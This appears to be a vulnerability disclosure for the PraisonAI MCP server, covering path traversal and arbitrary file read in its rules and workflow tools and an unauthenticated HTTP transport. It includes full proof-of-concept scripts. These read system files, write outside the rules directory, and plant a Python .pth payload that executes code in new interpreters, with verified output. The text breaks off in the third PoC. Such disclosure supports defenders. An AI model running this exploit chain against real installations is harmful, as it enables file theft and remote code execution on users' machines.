PraisonAI MCP `tools/call` path-traversal => RCE via Python `.pth` injection

tool.input_schema is built reflectively from the handler signature in registry.py:320-376 and surfaced in tools/list responses — but it is never enforced before dispatch. Whatever JSON shape the MCP client (or an LLM under prompt injection) sends becomes a **kwargs call.

2. The four registered handlers have no containment

src/praisonai/praisonai/mcp_server/adapters/cli_tools.py:

# line 116-128 — rules.create — primary write primitive
@register_tool("praisonai.rules.create")
def rules_create(rule_name: str, content: str) -> str:
    """Create a new rule."""
    try:
        import os
        rules_dir = os.path.expanduser("~/.praison/rules")
        os.makedirs(rules_dir, exist_ok=True)
        rule_path = os.path.join(rules_dir, rule_name)        # ← no realpath/containment
        with open(rule_path, 'w') as f:
            f.write(content)
        return f"Rule created: {rule_name}"
    except Exception as e:
        return f"Error: {e}"

# line 102-114 — rules.show — read primitive (f-string interpolation, same vuln class)
@register_tool("praisonai.rules.show")
def rules_show(rule_name: str) -> str:
    """Show a specific rule."""
    try:
        import os
        rule_path = os.path.expanduser(f"~/.praison/rules/{rule_name}")  # ← `..` works
        if not os.path.exists(rule_path):
            return f"Rule not found: {rule_name}"
        with open(rule_path, 'r') as f:
            content = f.read()
        return content
    except Exception as e:
        return f"Error: {e}"

# line 130-141 — rules.delete — delete primitive
@register_tool("praisonai.rules.delete")
def rules_delete(rule_name: str) -> str:
    """Delete a rule."""
    try:
        import os
        rule_path = os.path.expanduser(f"~/.praison/rules/{rule_name}")  # ← same pattern
        if not os.path.exists(rule_path):
            return f"Rule not found: {rule_name}"
        os.remove(rule_path)
        return f"Rule deleted: {rule_name}"
    except Exception as e:
        return f"Error: {e}"

# line 63-73 — workflow.show — absolute-path read primitive (no traversal needed)
@register_tool("praisonai.workflow.show")
def workflow_show(file_path: str) -> str:
    """Show workflow configuration."""
    try:
        with open(file_path, 'r') as f:                       # ← absolute path, no validation
            content = f.read()
        return content
    except FileNotFoundError:
        return f"File not found: {file_path}"
    except Exception as e:
        return f"Error: {e}"

os.path.join(rules_dir, "../../somewhere") and os.path.expanduser(f"~/.praison/rules/../../somewhere") both resolve .. segments at open() time, so the on-disk effect escapes the rules directory. workflow.show does not need traversal at all — it open()s an absolute path the LLM supplied.

3. Default registration ships these unconditionally

src/praisonai/praisonai/mcp_server/cli.py:216-219 (cmd_serve):

from .adapters import register_all
register_all()

src/praisonai/praisonai/mcp_server/adapters/__init__.py:33-39:

def _register_all():
    register_all_tools()
    register_extended_capability_tools()
    register_cli_tools()              # ← rules.create / rules.show / rules.delete / workflow.show
    register_mcp_resources()
    register_mcp_prompts()

There is no flag, env var, or config switch that disables the file primitives. praisonai mcp serve registers them on every startup.

4. HTTP-stream transport defaults to no authentication

src/praisonai/praisonai/mcp_server/cli.py:184:

parser.add_argument("--api-key", default=None)

The auth check at mcp_server/transports/http_stream.py:191-198 is wrapped in if self.api_key: — None skips the entire block. Default config: praisonai mcp serve --transport http-stream binds 127.0.0.1:8080/mcp unauthenticated.

5. Code-execution escalation via Python .pth

CPython's Lib/site.py (addsitedir / addpackage) imports lines starting with import from every .pth file present in site.getsitepackages() and site.getusersitepackages() at every interpreter startup. The user site-packages directory is always writable without elevation. A single .pth file containing import os; os.system("...") turns the path-traversal write primitive into RCE on the next Python interpreter the user starts — including the user's own python REPL, the next praisonai CLI command, IDE script launchers, and any background Python service.

Suggested fix

1. Containment in every cli_tools handler. Replace bare os.path.join / f-string interpolation with explicit prefix validation:

   import re
   from pathlib import Path
   
   if not re.fullmatch(r"[A-Za-z0-9._-]+", rule_name):
       return "Error: invalid rule name"
   rules_dir = Path(os.path.expanduser("~/.praison/rules")).resolve()
   rule_path = (rules_dir / rule_name).resolve()
   if not str(rule_path).startswith(str(rules_dir) + os.sep):
       return "Error: rule_name escapes rules directory"
   

   Apply identically to praisonai.rules.create, rules.show, rules.delete, workflow.validate. For workflow.show, restrict file_path to a designated workflow directory and reject absolute paths or any value containing ...

2. Schema enforcement in the dispatcher. Validate params["arguments"] against tool.input_schema (a JSON-Schema validator such as jsonschema) before tool.handler(**arguments). Reject unknown properties, type mismatches, missing required fields. Return JSON-RPC -32602 Invalid params.

3. Reduce the default tool surface. Move rules.* and workflow.show behind an explicit --enable-fs-tools opt-in. The register_all helper should only register read-only safe tools by default.

4. Require auth on non-loopback HTTP-stream binds. praisonai mcp serve --transport http-stream should refuse to start with host != 127.0.0.1 if --api-key is unset (mirror the gateway's assert_external_bind_safe from src/praisonai/praisonai/gateway/auth.py:23-54).

PoC

Tested against the PraisonAI repository at HEAD as of 2026-05-02. Verified on Python 3.14 / Windows 11 with both packages installed in editable mode. Each invocation of the RCE chain produced a fresh PID for the spawned Python process — confirmed across four successive runs (PIDs 8172, 23412, 10016, 17912) — proving the payload genuinely runs in a new interpreter, not residual state.

Reproduction prerequisites

• Python ≥ 3.10 (3.14 used during verification).
• A clean clone of the PraisonAI repository:

  git clone https://github.com/MervinPraison/PraisonAI.git
  cd PraisonAI
  

• Install both packages in editable mode:

  pip install -e src/praisonai-agents -e src/praisonai
  

• For PoC #3 (HTTP-stream variant): pip install uvicorn starlette (already pulled in by praisonai[api]).
• All other PoCs run against the package source alone — no network server required.

PoC 1 — In-process file primitives via MCP tools/call

Confirms arbitrary file READ, path-traversal WRITE, and path-traversal READ-BACK without spinning up a network server. Equivalent to electerm's parser dry-run; runs against the package source alone.

cat > /tmp/poc01_primitives.py <<'EOF'
"""PoC #1 — File primitives via MCP tools/call (in-process)"""
import asyncio, json, os
from praisonai.mcp_server.server import MCPServer
from praisonai.mcp_server.adapters import register_all

register_all()
server = MCPServer()

async def call(method, params, msg_id=1):
    msg = {"jsonrpc": "2.0", "id": msg_id, "method": method, "params": params}
    return await server.handle_message(msg)

async def main():
    await call("initialize", {
        "protocolVersion": "2025-11-25",
        "clientInfo": {"name": "poc", "version": "0"},
        "capabilities": {},
    })

    # ── A1. Arbitrary file READ via workflow.show (absolute path, no traversal) ──
    candidates = ["/etc/passwd", "/etc/hostname",
                  "C:/Windows/System32/drivers/etc/hosts"]
    target = next((c for c in candidates if os.path.exists(c)), None)
    if target:
        r = await call("tools/call", {"name": "praisonai.workflow.show",
                                      "arguments": {"file_path": target}}, 2)
        print(f"[A1] READ {target} (first 200 chars):")
        print(r["result"]["content"][0]["text"][:200])

    # ── A2. Path-traversal WRITE via rules.create — escapes ~/.praison/rules/ ──
    import tempfile
    pwned = os.path.join(tempfile.gettempdir(), "PRAISONAI_PWNED.txt")
    rules_dir = os.path.expanduser("~/.praison/rules")
    rel = os.path.relpath(pwned, rules_dir)
    print(f"\n[A2] tools/call praisonai.rules.create rule_name={rel!r}")
    r = await call("tools/call", {"name": "praisonai.rules.create",
                                  "arguments": {"rule_name": rel,
                                                "content": "owned-by-poc"}}, 3)
    print(f"[A2] handler said: {r['result']['content'][0]['text']}")
    print(f"[A2] target path: {pwned}")
    print(f"[A2] exists: {os.path.exists(pwned)}, "
          f"contents: {open(pwned).read()!r}")

    # ── A3. Path-traversal READ via rules.show ──
    r = await call("tools/call", {"name": "praisonai.rules.show",
                                  "arguments": {"rule_name": rel}}, 4)
    print(f"\n[A3] READ-BACK via rules.show -> "
          f"{r['result']['content'][0]['text']!r}")

    # ── A4. Schema bypass: undeclared kwarg dispatched into handler ──
    print("\n[A4] sending undeclared kwarg to confirm dispatcher accepts it")
    r = await call("tools/call", {"name": "praisonai.workflow.show",
                                  "arguments": {"file_path": target,
                                                "undeclared_kwarg": "x"}}, 5)
    print(f"[A4] response (TypeError raised by handler, NOT by dispatcher): "
          f"{r['result']['content'][0]['text'][:120]}")

    # Cleanup
    if os.path.exists(pwned):
        os.unlink(pwned)

asyncio.run(main())
EOF
python /tmp/poc01_primitives.py

Expected output (verbatim from this run):

[A1] READ C:/Windows/System32/drivers/etc/hosts (first 200 chars):
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
...

[A2] tools/call praisonai.rules.create rule_name='..\\..\\AppData\\Local\\Temp\\PRAISONAI_PWNED.txt'
[A2] handler said: Rule created: ..\..\AppData\Local\Temp\PRAISONAI_PWNED.txt
[A2] target path: C:\Users\<user>\AppData\Local\Temp\PRAISONAI_PWNED.txt
[A2] exists: True, contents: 'owned-by-poc'

[A3] READ-BACK via rules.show -> 'owned-by-poc'

[A4] sending undeclared kwarg to confirm dispatcher accepts it
[A4] response (TypeError raised by handler, NOT by dispatcher): Error: register_cli_tools.<locals>.workflow_show() got an unexpected keyword argument 'undeclared_kwarg'

PoC 2 — RCE escalation via Python .pth

Drops a Python .pth payload into the user site-packages directory using the path-traversal write from PoC #1, then spawns an unrelated python -c "pass" to demonstrate that the payload runs in a fresh interpreter.

cat > /tmp/poc02_rce.py <<'EOF'
"""PoC #2 — RCE escalation via Python .pth injection.

Walks the path-traversal write into user site-packages, drops a .pth that
imports os and writes a marker on the next Python startup. Then spawns an
unrelated python -c "pass" subprocess to prove the marker is created in a
fresh interpreter, not in this one.
"""
import asyncio, os, site, subprocess, sys, tempfile, time
from pathlib import Path
from praisonai.mcp_server.server import MCPServer
from praisonai.mcp_server.adapters import register_all

register_all()
server = MCPServer()

# Marker file the .pth payload will write to
MARKER = Path(tempfile.gettempdir()) / "praisonai_rce_marker.txt"
if MARKER.exists():
    MARKER.unlink()

# Compose the .pth payload. site.py runs lines starting with `import` at
# interpreter startup. We chain statements with `;` to keep it one line.
PAYLOAD = (
    "import sys, os, pathlib; "
    f"pathlib.Path(r'{MARKER}').write_text("
    "f'PRAISONAI_RCE_OK pid={os.getpid()} args={sys.argv}')"
    "\n"
)

# Target .pth in user site-packages (always writable without elevation)
TARGET = Path(site.getusersitepackages()) / "praisonai_chain_a_rce.pth"
TARGET.parent.mkdir(parents=True, exist_ok=True)

# Compute the traversal payload — relative path from ~/.praison/rules to TARGET
RULES = Path(os.path.expanduser("~/.praison/rules")).resolve()
REL = os.path.relpath(TARGET, RULES)

print(f"[*] target .pth file: {TARGET}")
print(f"[*] traversal rule_name: {REL!r}")
print(f"[*] payload (first 80 chars): {PAYLOAD[:80]}...")
print()

async def main():
    # 1. Initialize MCP session
    await server.handle_message({"jsonrpc": "2.0", "id": 1, "method": "initialize",
        "params": {"protocolVersion": "2025-11-25",
                   "clientInfo": {"name": "poc", "version": "0"},
                   "capabilities": {}}})

    # 2. Drop the .pth via the unauthenticated rules.create handler
    r = await server.handle_message({"jsonrpc": "2.0", "id": 2,
        "method": "tools/call",
        "params": {"name": "praisonai.rules.create",
                   "arguments": {"rule_name": REL, "content": PAYLOAD}}})
    print(f"[*] tools/call response: {r['result']['content'][0]['text']}")
    print(f"[*] .pth exists: {TARGET.exists()}")

asyncio.run(main())

if not TARGET.exists():
    print("FAIL: .pth was not written.", file=sys.stderr)
    sys.exit(1)

# 3. Trigger: spawn a fresh, unrelated `python -c "pass"` subprocess.
#    site.py imports lines from every .pth at interpreter startup BEFORE
#    user code runs.
print()
print(f'[*] launching fresh `python -c "pass"` to trigger .pth ...')
result = subprocess.run([sys.executable, "-c", "pass"],
                       capture_output=True, text=True)
print(f"[*] subprocess returncode: {result.returncode}")

# 4. Verify side effect — marker file exists with a NEW pid
deadline = time.time() + 3.0
while time.time() < deadline:
    if MARKER.exists() and MARKER.stat().st_size > 0:
        break
    time.sleep(0.05)

if MARKER.exists():
    contents = MARKER.read_text()
    print(f"[*] marker exists: True")
    print(f"[*] marker contents: {contents!r}")
    print()
    print("[+] RCE confirmed: arbitrary code executed in a fresh Python")
    print("    interpreter spawned AFTER the path-traversal write.")
else:
    print("[-] marker not present — escape may have partially failed")
    sys.exit(1)

# Clean up
TARGET.unlink(missing_ok=True)
MARKER.unlink(missing_ok=True)
EOF
python /tmp/poc02_rce.py

Expected output (verbatim from this run):

[*] target .pth file: C:\Users\<user>\AppData\Roaming\Python\Python314\site-packages\praisonai_chain_a_rce.pth
[*] traversal rule_name: '..\\..\\AppData\\Roaming\\Python\\Python314\\site-packages\\praisonai_chain_a_rce.pth'
[*] payload (first 80 chars): import sys, os, pathlib; pathlib.Path(r'C:\Users\<user>\AppData\Local\Temp\pra...

[*] tools/call response: Rule created: ..\..\AppData\Roaming\Python\Python314\site-packages\praisonai_chain_a_rce.pth
[*] .pth exists: True

[*] launching fresh `python -c "pass"` to trigger .pth ...
[*] subprocess returncode: 0
[*] marker exists: True
[*] marker contents: "PRAISONAI_RCE_OK pid=17912 args=['-c']"

[+] RCE confirmed: arbitrary code executed in a fresh Python interpreter
    spawned AFTER the path-traversal write.

The PID in the marker (17912) is the spawned python -c "pass" subprocess — not the writing process. Each successive run produces a different PID, proving fresh-interpreter semantics.

PoC 3 — End-to-end HTTP-stream variant (default no-auth)

Confirms a remote/local attacker who can dial loopback (DNS-rebound browser, container neighbour, malicious local app) reaches the unauth dispatcher and lands the same RCE. The server is started by directly invoking HTTPStreamTransport — the same code path that praisonai mcp serve --transport http-stream ultimately calls — to keep the PoC stable across CLI-routing changes.

# 1) Server side (default config: host=127.0.0.1, port=8080, api_key=None).
#    The auth check at http_stream.py:191-198 is wrapped in `if self.api_key:`
#    so api_key=None disables it entirely.
cat > /tmp/poc03_server.py <<'EOF'
"""HTTP-stream MCP server, default no-auth."""
import sys, io
sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8')
sys.stderr = io.TextIOWrapper(sys.stderr.buffer, encoding='utf-8')

from praisonai.mcp_server.server import MCPServer
from praisonai.mcp_server.adapters import register_all
from praisonai.mcp_server.transports.http_stream import HTTPStreamTransport

register_all()
server = MCPServer(name='praisonai')
transport = HTTPStreamTransport(
    server=server, host='127.0.0.1', port=8080,
    endpoint='/mcp', api_key=None,
)
print('MCP server: 127.0.0.1:8080/mcp (no auth)', flush=True)
transport.run()
EOF
python /tmp/poc03_server.py &
SERVER_PID=$!
sleep 5

# Sanity probe — anonymous initialize over HTTP
curl -s -X POST http://127.0.0.1:8080/mcp -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":0,"method":"initialize","params":{"protocolVersion":"2025-11-25","clientInfo":{"name":"probe","version":"0"},"capabilities":{}}}'
echo

# 2) Attacker side — anyone on loopback (different terminal, malicious local
#    app, DNS-rebound browser tab, container neighbour sharing loopback):
cat > /tmp/poc03_client.py <<'EOF'
""